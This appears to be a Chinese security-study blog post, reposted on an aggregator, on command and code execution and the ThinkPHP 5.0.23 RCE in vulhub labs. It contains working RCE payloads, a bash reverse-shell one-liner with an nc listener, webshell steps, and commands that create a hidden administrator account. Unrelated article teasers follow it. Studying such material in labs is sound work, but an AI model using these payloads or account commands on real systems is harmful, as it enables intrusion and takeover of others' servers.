框架漏洞RCE-1

一、前提

1、命令执行漏洞:直接调用操作系统命令。攻击者构造恶意命令,将命令拼接到正常的输入中,达到恶意攻击的目的。

(1)、常见命令执行函数

  • PHP:exec、shell_exec、system、passthru、popen、proc_open、反引号等    
  • ASP.NET:System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStartInfo等
  • Java:java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec等

注:popen()、proc_open()不会直接返回执行结果,而是返回一个文件指针。 <?php popen('whoami>>D:/1.txt','r');?>

(2)、利用条件:

  • 应用调用执行系统命令的函数
  • 将用户输入作为系统命令的参数拼接到了命令行中
  • 没有对用户输入进行过滤或过滤不严

(3)、命令连接符

(4)、windows,linux操作系统命令

windows:cmd窗口帮助命令help

linux:Linux命令大全(手册) – 真正好用的Linux命令在线查询网站 (linuxcool.com)

(5)、靶场练习:CTFHub

ctfhub命令执行WP:https://www.cnblogs.com/R3col/p/12515059.html

(6)补:创建用户并提权

  • 将编码方式改为UTF-8:CHCP 65001
  • 创建用户:net user hack 123456 /add
  • 查看用户:net user
  • 将用户添加到管理员组:net localgroup Administrators hack /add
  • 激活用户:net user hack /active:yes
  • 远程登录:windows系统命令行输入mstsc,linux系统命令行输入rdesktop ip地址

2、代码执行

(1)、相关函数

  • PHP:eval、${}等
  • python:exec等
  • Java:没有直接执行函数,但有表达式引擎。

(2)、与命令执行区别

  • 命令执行:一般执行操作系统命令
  • 代码执行:一般执行脚本代码

3、docker:用于靶场搭建与使用

(1)、概述:快速构建、运行、管理应用的工具

(2)、安装(kali)

apt-get install docker.io   //安装软件包
docker version              //查看是否安装成功

apt-get install docker-compose  //安装docker-compose工具
docker-compose version          //查看是否安装成功

(3)、docker常用命令(拿mysql举例)

  • 查看本地所有镜像docker images -a 
    • -a:列出所有镜像
  • 搜索仓库镜像docker search mysql --limit 5
    • --limit 5:列出前5个
  • 拉取镜像到本地:docker pull mysql:5.5
    • 不加版本号,默认拉取最新的
  • 删除镜像:docker rmi mysql:5.5 或 docker rmi -f 镜像id
  • 打包镜像:docker save -o mysql.tar mysql:5.5 或 docker save -o mysql.tar 镜像id
    • 压缩文件可以随意命名
  • 加载打包镜像:docker load -i mysql.tar
  • 创建并运行容器docker run -d --name mysql8 -p 3306:3306 mysql
    • -d:后台运行容器
    • --name:指定容器的名称,不指定随机分配
    • -p:指定映射端口
  • 列出运行的容器docker ps -a
    • -a:列出正在运行和运行过的容器,不加只列出当前正在运行的容器
  • 容器的停止,启动,重启,删除docker stop/start/restart/rm 容器id

(4)、docker-compose: 使用 YAML 文件来配置所有需要运行的 Docker 容器

注:需要在docker-compose.yml 文件同目录下执行,即这个目录下必须有docker-compose.yml文件。或在命令后加上-f参数指定目录所在路径 

  • 创建容器docker-compose up -d
    • -d:后台运行
  • 容器的停止,启动,重启,删除docker-compose stop/start/restart/down
  • 查看容器docker-compose ps -a
    • -a:查看所有容器

4、漏洞通用操作:信息收集确定是哪个框架漏洞,网上搜索该漏洞的历史版本,进行复现。

二、ThinkPHP5.0.23漏洞

1、漏洞产生原因:thinkphp没有对控制器名进行合法性校验,导致在没有开启强制路由的情况下,攻击者可以调用任意类的任意方法,从而导致漏洞产生。

2、特征:显示thinkphp图标或页面显示thinkphp这几个大字

3、工具:Liqun工具箱、thinkphp日志分析等。(尝试多个工具,没有换下一个)

注:可以下载综合利用工具ONE-FOX(https://www.one-fox.cn/)

4、手工测试实验过程:

注:使用工具:hackbar插件

  • 利用RCE,通过phpinfo函数查看phpinfo()信息
  • 写入shell,使用蚁剑连接
  • 尝试反弹shell

5、POC

(1)请求路径:index.php?s=captcha

post data下输入

  • _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
  • _method=__construct&filter[]=system&method=get&get[]=pwd

(2)、直接在请求路径下输入

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

6、漏洞利用

(1)、启动靶场

(2)、输入POC

(3)、点击execute,并查看是否成功

(4)、使用蚁剑连接

7、反弹shell(需要URL编码):反弹shell生成器

/bin/bash -c "bash -i >& /dev/tcp/192.168.43.1/9191 0>&1"

(1)、将反弹shell代码写入POC中,发送

(2)、反弹shell到的机子开启监听:nc -lvp 9191

8、靶场

安装:git clone https://github.com/vulhub/vulhub.git /home/vulhub

使用:到目录下使用docker-compose

个人认知有限,大家可以提建议或者推荐更好的文章。互相分享,提高自身水平!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/598082.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

拉普拉斯丨独家冠名2024年度ATPV技术分论坛,助力产业科技持续创新

为了进一步促进行业技术交流&#xff0c;推进光伏行业发展及标准建设的进程&#xff0c;针对高效电池&#xff0c;领跑组件&#xff0c;新产品认证及应用等技术专题及国内外光伏标准的最新进程&#xff0c;由中国绿色供应链联盟光伏专委会&#xff08;ECOPV&#xff09;指导的2…

Java 运行的底层原理

Java是一种跨平台的编程语言&#xff0c;其底层原理涉及到了多个方面&#xff0c;包括Java虚拟机&#xff08;JVM&#xff09;、字节码、类加载机制、垃圾回收器等。让我们逐一深入了解Java运行的底层原理。 1. Java虚拟机&#xff08;JVM&#xff09; Java虚拟机是Java程序运…

Java代码基础算法练习-年龄问题-2024.05.07

数学家维纳智力早熟&#xff0c;11岁就上了大学。一次&#xff0c;他参加某个重要会议&#xff0c;年轻的脸孔引人注目。于是有人询问他的年龄&#xff0c;他回答说&#xff1a;“我年龄的立方是个4位数。我年龄的4次方是个6位数。这10 个数字正好包含了从0到9这10个数字&#…

Mybatis报错sql injection violation, syntax error: TODO :IDENTIFIER

今天被这个报错搞了一下午 <select id"getMmZxZffs" resultType"cn.vetech.asms.pay.service.freepwdpay.vo.ZxZffsQueryVO" parameterType"cn.vetech.asms.pay.service.freepwdpay.dto.ZxZffsQueryDTO">select t.A skFs,t.B,t.C skFsm…

建筑物健康监测:振弦式应变计的应用

随着科技的进步和建筑安全意识的提高&#xff0c;对建筑物健康状况的监测变得日益重要。振弦式应变计作为一种高精度、高灵敏度的测量工具&#xff0c;已经在建筑物健康监测中得到了广泛应用。本文将探讨如何使用振弦式应变计进行建筑物的健康监测&#xff0c;并分享一些最佳实…

安卓手机原生运行 ARM Ubuntu 24.04 桌面版(一)

本篇文章&#xff0c;聊一聊尝试让安卓手机原生运行 Ubuntu&#xff0c;尤其是运行官方未发布过的 ARM 架构的 Ubuntu 24.04 桌面版本。 写在前面 最近的几篇文章&#xff0c;都包含了比较多的实操内容、需要反复的复现验证&#xff0c;以及大量的调试过程&#xff0c;为了不…

Linux——综合实验

要求 按照上面的架构部署一个简单的web节点所有的服务器使用DNS服务器作为自己的DNS服务器 就是/etc/reslov.conf 中nameserver的值必须是途中dns服务器的地址所有的数据库都是用mysql应用 nfs共享导出在客户端(web服务器上)使用autofs在自动挂载&#xff0c;或者写入/etc/fsta…

使用 Gitea 进行私有 Git 仓库管理

在本文中&#xff0c;我们将介绍如何使用 Gitea 搭建并管理私有 Git 仓库。Gitea 是一个轻量级的 Git 服务&#xff0c;提供了类似于 GitHub 的功能&#xff0c;适合个人和小团队使用。我们将通过以下步骤来完成搭建和配置 Gitea 服务器。 步骤一&#xff1a;安装 Gitea 首先…

沉浸式的三维立体3D产品互动展示,有哪些优势?如何实现?

沉浸式的三维立体3D产品互动展示&#xff0c;可以720度旋转缩放查看产品的每一个细节&#xff0c;具有很强的交互性和逼真性&#xff0c;从品牌营销的层面来分析&#xff0c;具有以下优势&#xff1a; 首先&#xff0c;3D产品展示能够带来生动、真实的视觉冲击效果。 随着消费…

OurBMC开源大赛企业获奖队伍专访来啦!

精彩纷呈的 OurBMC 开源大赛已告一段落&#xff0c;经历为期四个月的实战&#xff0c;各个参赛队伍也积淀了丰富的实践经验与参赛心得。本期&#xff0c;社区特别邀请 OurBMC 开源大赛获奖企业团队分享「走进OurBMC开源大赛&#xff0c;共同践行开放包容、共创共赢的开源精神」…

Python下运行 XQuery 的方法

要在 Python 中运行 XQuery&#xff0c;我们可以使用一些库或工具来执行 XQuery 查询。Saxon-HE 是一个开源的 XQuery 和 XSLT 处理器&#xff0c;它是用 Java 编写的&#xff0c;并提供了 Python 绑定。你可以使用 saxonc Python 模块来调用 Saxon-HE&#xff0c;执行 XQuery …

阿赵UE引擎C++编程学习笔记——HelloWorld

大家好&#xff0c;我是阿赵。   从这一篇开始学习虚幻引擎的C编程。   学习所有编程好像都应该从HelloWorld开始&#xff0c;所以我这里也不例外。不过为了能打印出HelloWorld&#xff0c;需要做的事情还不少。不过到了能打印出HelloWorld的时候&#xff0c;我感觉学习的过…

文件夹重命名技巧:克服文件夹名混乱不规律的难题,实现高效管理

在数字时代&#xff0c;我们每天都在与无数的文件夹打交道。这些文件夹中可能存储着文档、图片、视频等各种类型的文件。然而&#xff0c;随着文件夹数量的增加&#xff0c;如何有效地管理和命名这些文件夹成为了一个挑战。混乱和不规律的文件夹名不仅降低了工作效率&#xff0…

237基于matlab的偏振态仿真

基于matlab的偏振态仿真&#xff0c;不同偏振态下光强计算。本仿真软件可以仿真波片对偏振光的相位调制过程。用户可以通过改变波片的类型&#xff0c;波片长轴与 X 轴的夹角&#xff0c;起偏器透光与 X 轴的夹角&#xff0c;检偏器透光轴与 X 轴的夹角等参数&#xff0c;来观察…

企业年中宣传的几个核心点

传媒如春雨&#xff0c;润物细无声&#xff0c;大家好&#xff0c;我是51媒体网胡老师。 过了五一小长假&#xff0c;就来到了夏天&#xff0c;在生机勃勃的春天里&#xff0c;我们定好了全年的宣传计划&#xff0c;包括要举行哪些活动&#xff0c;参加哪些展会&#xff0c;一…

ADS过孔---过孔建模自动化

当前快速建模的方法有两类&#xff1a;一是脚本自动化&#xff0c;也就是今天要分享的方法&#xff0c;但该方法需要工程师有基本的脚本编辑能力&#xff0c;然后根据自己的需要去修改&#xff0c;难度较大一点点&#xff1b;二是参数化建模&#xff0c;也就是在GUI界面输入相应…

Milvus向量数据库(一)Milvus存储byte[]类型源向量数据

两种路线&#xff1a; 第一种是把byte[]转换为List< float >&#xff0c;然后存储到Milvus的floatVector中第二种是把byte[]转换为ByteBuffer&#xff0c;然后存储到Milvus的BinaryVector中 步骤&#xff1a; 我先用的是第一种&#xff0c;但是在转换float过程中&…

Java Stream A

1. Stream API概述 Java 8 Stream是Java 8中引入的一个新的API&#xff0c;用于处理集合和数组等数据结构的元素。它允许您在数据集上进行功能性操作&#xff0c;例如过滤、映射、排序等&#xff0c;而不需要编写循环或迭代器等底层代码。 Java 8 Stream与集合不同&#xff0c;…

信息系统项目管理师——成本管理计算专题(二)

绩效监测和成本预算 SV&#xff0c;CV&#xff0c;SPI&#xff0c;CPI都是以EV开头&#xff0c;用EV去减或者用EV去除&#xff0c;如果是S指标那么就是减 PV 或除PV&#xff0c;如果是C指标那么就是减AC 或除 AC。 如果题目只是问当前的进度或成本绩效状态&#xff0c;那么只需…

wangEditor 富文本详解

前言&#xff1a;wangEditor 官网 。本文档讲解 wangEditor 在 vue3 中的使用。 一&#xff1a;快速开始 1. 安装 需要安装 wangeditor/editor、wangeditor/editor-for-vuenext 两个依赖 # 安装 editor npm install wangeditor/editor # or yarn add wangeditor/editor # o…